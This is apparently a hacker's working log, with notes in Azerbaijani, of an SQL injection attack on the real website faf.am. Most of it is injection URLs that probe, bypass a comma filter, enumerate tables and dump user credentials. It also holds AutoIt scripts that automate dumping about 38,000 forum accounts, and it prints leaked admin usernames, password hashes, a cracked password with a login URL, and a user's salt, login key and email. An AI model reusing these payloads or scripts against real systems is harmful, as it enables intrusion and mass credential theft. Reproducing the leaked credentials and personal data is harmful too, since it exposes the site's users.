AKASTEP & BOT_25 PRESENTS:D

faf.am http://www.zone-h.org/mirror/id/18156409

http://www.squash.am zone-h.org/mirror/id/18156970 

[code]




http://www.faf.am/news/faf-membership_2012%27%20or%20sleep%2810%29--.html










http://www.faf.am/news/faf-membership_2012%27+and+1=1--%20and+5!=%275.html




www.faf.am/news/faf-membership_2012'+and+1=1 +order+by+17-- and+5!='5.html




http://www.faf.am/news/faf-membership_2012%27+and+1=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--%20and+5!=%275aaaa.html





http://www.faf.am/news/faf-membership_2012%27+and+1=1+union+select+version(),version(),version(),version(),version(),version(),version(),version(),version(),version(),version(),version(),version(),version(),version(),version(),version()--%20and+5!=%275aaaa.html



//TRUE
http://www.faf.am/news/faf-membership_2012%27%20or%20sleep%281%29--%20and+10!=%275aaaa.html




http://www.faf.am/news/faf-membership_2012%27%20and%201=1%20or+sleep%281%29--%20and+%2710%27!=%275aaaa.html










www.faf.am/news/faf-membership_2012'+ and+'=(select table_name from information_schema.tables wheRe TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61 limit 1)-- and+5!='5aaaa.html



13 simvoldur uzunlugu 1 ci table-in.


http://www.faf.am/news/faf-membership_2012%27+and+13=%28select%20length%28table_name%29%20from%20information_schema.tables%20wheRe%20TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61%20limit%201%29--%20and+5!=%275aaaa.html5


Is orasindadir ki   , istifade etmek olmur neticede daha limited sekildedir attack.





BYPASSED:

http://www.faf.am/news/faf-membership_2012%27+and+id!=%28select%20substring%28%27abc%27%2C1%2C11%29%29--%20and+5!=%275aaaa.html5

2C



mysql> select hex(',') \g
+----------+
| hex(',') |
+----------+
| 2C       |
+----------+
1 row in set (0.00 sec)

mysql>


5.0.88-log


Bypass ucun:  %2C  vergul isaresininin filtresini kecmek ucun.


*************** 17-dedir. ************

user() fafam_faf@localhost



http://www.faf.am/news/faf-membership_2012%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2CTABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES%20wheRe%20TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61%20LIMIT%201--%20and+5!=%275aaaa.html5


mybb_adminlog


123 table varidir.




Cekdi + title teqini bagladim rahat olsun deye:



http://www.faf.am/news/faf-membership_2012%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2Cgroup_concat%280x3C2F7469746C653E%2CTABLE_NAME%2C0x7c%29+FROM+INFORMATION_SCHEMA.TABLES%20wheRe%20TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61--%20and+5!=%275aaaa.html5



Limitnen:


http://www.faf.am/news/faf-membership_2012%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2CTABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES%20wheRe%20TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61%20limit%2014%2C20--%20and+5!=%275aaaa.html5


Eynile , filtrasiyaya gore %2C istifade olunmalidir.








#cs
$localfiletoread=FileRead(@ScriptDir &"\1.txt")


$logdir=@ScriptDir&"\dows"


DirCreate($logdir);


for $i=0 to 125

$url="http://www.faf.am/news/faf-membership_2012%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2CTABLE_NAME%2C10%2C11%2CTABLE_NAME%2C13%2C14%2C15%2C16%2CTABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES%20wheRe%20TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61%20limit%20" & $i & "%2C1--%20and+5!=%275aaaa.html5"





HttpSetUserAgent("Mozilla Firefox MSIE 8 Windows NT 6.2 Gecko 3")

InetGet($url,$logdir & "\" &$i & ".txt")





Next




;MsgBox(64,"","Bitdi!",10)


#ce

$logdir=@ScriptDir&"\dows"









;~ # MsgBox(64,"",$localfiletoread)
;Option 1, using offset
Local $nOffset = 1
$x=0
Local $array
While 1
$x+=1


;MsgBox(64,"",$x)
$localfiletoread=FileRead($logdir &"\" & $x & '.txt');


$array = StringRegExp($localfiletoread, '<(?i)h1>(.*?)</(?i)h1>', 1, $nOffset)




For $i = 0 To UBound($array) - 1
;MsgBox(64,"",$array[$i])
FileWrite("alltablelist.txt", $array[$i] & @CRLF)

Next
WEnd





MsgBox(64,"","Bitdi!",10)







;$url="http://www.faf.am/news/faf-membership_2012%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2CTABLE_NAME%2C10%2C11%2CTABLE_NAME%2C13%2C14%2C15%2C16%2CTABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES%20wheRe%20TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61%20limit%2015%2C1--%20and+5!=%275aaaa.html5"







;Exit




======================= PARSE EDILMIS TABLE-LAR=======================

mybb_adminlog
mybb_adminoptions
mybb_adminsessions
mybb_adminviews
mybb_announcements
mybb_attachments
mybb_attachtypes
mybb_awaitingactivation
mybb_badwords
mybb_banfilters
mybb_banned
mybb_calendarpermissions
mybb_calendars
mybb_captcha
mybb_datacache
mybb_delayedmoderation
mybb_events
mybb_forumpermissions
mybb_forums
mybb_forumsread
mybb_forumsubscriptions
mybb_g33k_thankyoulike_stats
mybb_g33k_thankyoulike_thankyoulike
mybb_groupleaders
mybb_helpdocs
mybb_helpsections
mybb_icons
mybb_joinrequests
mybb_lastvisitor
mybb_mailerrors
mybb_maillogs
mybb_mailqueue
mybb_massemails
mybb_moderatorlog
mybb_moderators
mybb_modtools
mybb_mycode
mybb_polls
mybb_pollvotes
mybb_posts
mybb_privatemessages
mybb_profilecomments
mybb_profilefields
mybb_promotionlogs
mybb_promotions
mybb_reportedposts
mybb_reputation
mybb_searchlog
mybb_sessions
mybb_settinggroups
mybb_settings
mybb_sharebuttons
mybb_smilies
mybb_socialsites
mybb_spiders
mybb_stats
mybb_tasklog
mybb_tasks
mybb_templategroups
mybb_templates
mybb_templatesets
mybb_themes
mybb_themestylesheets
mybb_threadprefixes
mybb_threadratings
mybb_threads
mybb_threadsread
mybb_threadsubscriptions
mybb_threadviews
mybb_userfields
mybb_usergroups
mybb_users
mybb_usertitles
mybb_warninglevels
mybb_warnings
mybb_warningtypes
s1_ads
s1_ads_menu_rel
s1_ads_ml
s1_adsgroup
s1_adsgroup_ml
s1_bemenu
s1_bemenu_ml
s1_brand
s1_brand_ml
s1_category
s1_category_ml
s1_config
s1_country
s1_galery_category
s1_galery_category_images_rel
s1_galery_category_ml
s1_gallery
s1_gallery_ml
s1_helptopics
s1_helptopics_ml
s1_langdata
s1_langdata_ml
s1_languages
s1_menu
s1_menu_ml
s1_news
s1_news_ml
s1_order
s1_text
s1_text_ml
s1_users-groups-access
s1_users-groups
s1_users
s1_widgets
s1_widgets_ml
s1_youtube
wp_commentmeta
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_terms
wp_usermeta
wp_users



======================= EOF PARSE EDILMIS TABLE-LAR=======================

http://www.faf.am/news/faf-membership_20121%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2Cgroup_concat%28login%2C0x7c%2Cpassword%2C0x7c%29%20from%20s1_users--%20and+5!=%275aaaa.html5


12admin|6dedf4ba59fbcd8c2d72eec63738fc6d|,fafAdmin|f8003851f4dfd04a341045a676d3757a|



admin|6dedf4ba59fbcd8c2d72eec63738fc6d

PASS:: newPass123  amma buraxmadi adminkaya http://www.faf.am/admin/                   (Thx BOT_25 for Hint)




fafAdmin|f8003851f4dfd04a341045a676d3757a  qirilmadi:(



http://www.faf.am/admin/?be_login=admin&be_password=newPass123&login-action=%D0%92%D0%BE%D0%B9%D1%82%D0%B8



MYBB ucun:


http://www.faf.am/news/faf-membership_2012111111111111111111%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2Cconcat_ws%28uid%2C0x7c%2Cusername%2C0x7c%2Cpassword%2C0x7c%2Csalt%2C0x7c%2Cloginkey%2C0x7c%2Cemail%29%20from%20mybb_users%20where%20uid=1--%20and+5!=%275aaaa.html5


12|1forumadmin1|11dd53a4dfccd120d46cbb8a76e5e87561|13nklcQKM1|1qoPzlJlCKNBEF4sG4nemgXEVFUzOrAsSJA7z6fhoMEAC8ewFW71|1tikopx@gmail.com





Bu da parser 38000 > yuxari useri var forumda:










;$localfiletoread=FileRead(@ScriptDir &"\1.txt")


$logdir=@ScriptDir&"\dowsDUMP"


DirCreate($logdir);


for $i=0 to 38451


$url="http://www.faf.am/news/faf-membership_2012111111111111111111%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cconcat_ws%28uid%2C0x7c%2Cusername%2C0x7c%2Cpassword%2C0x7c%2Csalt%2C0x7c%2Cloginkey%2C0x7c%2Cemail%29%2C13%2C14%2C15%2C16%2Cconcat_ws%28uid%2C0x7c%2Cusername%2C0x7c%2Cpassword%2C0x7c%2Csalt%2C0x7c%2Cloginkey%2C0x7c%2Cemail%29%20from%20mybb_users%20where%20uid=" & $i & "--%20and+5!=%275aaaa.html5"
;$url="http://www.faf.am/news/faf-membership_2012%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2CTABLE_NAME%2C10%2C11%2CTABLE_NAME%2C13%2C14%2C15%2C16%2CTABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES%20wheRe%20TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61%20limit%20" & $i & "%2C1--%20and+5!=%275aaaa.html5"





HttpSetUserAgent("Mozilla Firefox MSIE 8 Windows NT 6.2 Gecko 3")

InetGet($url,$logdir & "\" &$i & ".txt")





Next




MsgBox(64,"","Bitdi!",10)




$logdir=@ScriptDir&"\dows"









;~ # MsgBox(64,"",$localfiletoread)
;Option 1, using offset
Local $nOffset = 1
$x=0
Local $array
While 1
$x+=1


;MsgBox(64,"",$x)
$localfiletoread=FileRead($logdir &"\" & $x & '.txt');


$array = StringRegExp($localfiletoread, '<(?i)h1>(.*?)</(?i)h1>', 1, $nOffset)




For $i = 0 To UBound($array) - 1
;MsgBox(64,"",$array[$i])
FileWrite("alltablelist.txt", $array[$i] & @CRLF)

Next
WEnd





MsgBox(64,"","Bitdi!",10)







;$url="http://www.faf.am/news/faf-membership_2012%27+union+select+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2CTABLE_NAME%2C10%2C11%2CTABLE_NAME%2C13%2C14%2C15%2C16%2CTABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES%20wheRe%20TABLE_SCHEMA!=0x696E666F726D6174696F6E5F736368656D61%20limit%2015%2C1--%20and+5!=%275aaaa.html5"







;Exit